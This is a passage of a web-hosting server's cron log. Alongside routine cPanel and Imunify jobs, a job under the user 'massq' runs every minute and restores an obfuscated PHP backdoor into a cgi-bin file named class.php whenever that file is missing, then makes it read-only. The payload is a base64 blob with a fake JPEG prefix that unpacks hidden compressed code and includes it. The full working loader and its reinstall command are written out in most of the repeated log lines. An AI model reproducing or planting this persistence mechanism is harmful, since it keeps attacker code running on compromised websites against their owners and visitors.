"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:04:01 server CROND[14125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:04:01 server CROND[14126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:04:01 server CROND[14127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:05:01 server CROND[14590]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:05:01 server CROND[14592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:05:01 server CROND[14595]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:05:01 server CROND[14596]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 03:05:01 server CROND[14598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:05:01 server CROND[14599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:05:01 server CROND[14594]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:05:01 server CROND[14597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:06:01 server CROND[15484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:06:01 server CROND[15485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:06:01 server CROND[15489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:07:01 server CROND[15860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:07:01 server CROND[15861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:07:01 server CROND[15862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:08:01 server CROND[16258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:08:01 server CROND[16259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:08:01 server CROND[16260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:09:01 server CROND[16752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:09:01 server CROND[16754]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 03:09:01 server CROND[16753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:09:01 server CROND[16755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:10:01 server CROND[17159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:10:01 server CROND[17160]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:10:01 server CROND[17167]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:10:01 server CROND[17169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:10:01 server CROND[17173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:10:01 server CROND[17171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:10:01 server CROND[17175]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:10:01 server CROND[17174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:11:01 server CROND[18005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:11:01 server CROND[18006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:11:01 server CROND[18007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:12:01 server CROND[18394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:12:01 server CROND[18395]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 03:12:01 server CROND[18397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:12:01 server CROND[18396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:13:01 server CROND[18754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:13:01 server CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:13:01 server CROND[18756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:14:01 server CROND[19221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:14:01 server CROND[19220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:14:01 server CROND[19222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:15:01 server CROND[19805]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:15:01 server CROND[19806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
